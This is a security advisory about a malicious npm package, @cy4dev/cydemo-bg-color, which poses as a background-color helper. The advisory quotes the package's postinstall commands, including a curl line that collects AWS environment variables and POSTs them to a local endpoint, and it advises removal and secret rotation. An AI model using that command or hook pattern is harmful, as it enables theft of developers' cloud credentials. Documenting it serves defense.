MAL-2026-12504 Malicious code in @cy4dev/cydemo-bg-color (npm)

Malicious package Published
Package
@cy4dev/cydemo-bg-color
Registry
npm

What is MAL-2026-12504?

MAL-2026-12504 is a malicious package in @cy4dev/cydemo-bg-color, published on 5 Aug 2026.

Official description

@cy4dev/[email protected] ships a postinstall lifecycle script (src/postinstall.js) that runs at npm install time and invokes node:child_process.exec with two shell commands. The first, curl -X POST -d \env | grep AWS` http://localhost:8000, enumerates AWS_*-prefixed environment variables from the installer's shell and POSTs them as the request body — a functioning credential-exfiltration primitive against the installer's environment. The second, open /System/Applications/Calculator.app`, launches a GUI application on macOS, demonstrating arbitrary host-shell execution triggered solely by installing the package. The package advertises itself as a DOM background-color helper; the postinstall behavior has no build or runtime purpose consistent with that description. The exfiltration destination in this build is loopback (localhost:8000), so the AWS credentials do not leave the host in this specific version, but the credential-scrape and arbitrary-exec code paths execute unconditionally on every install.

What should I do about MAL-2026-12504?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

Sources

Is MAL-2026-12504 in your software?

Upload an SBOM and sbomify checks it against every vulnerability here, every day.

Check your SBOMs for free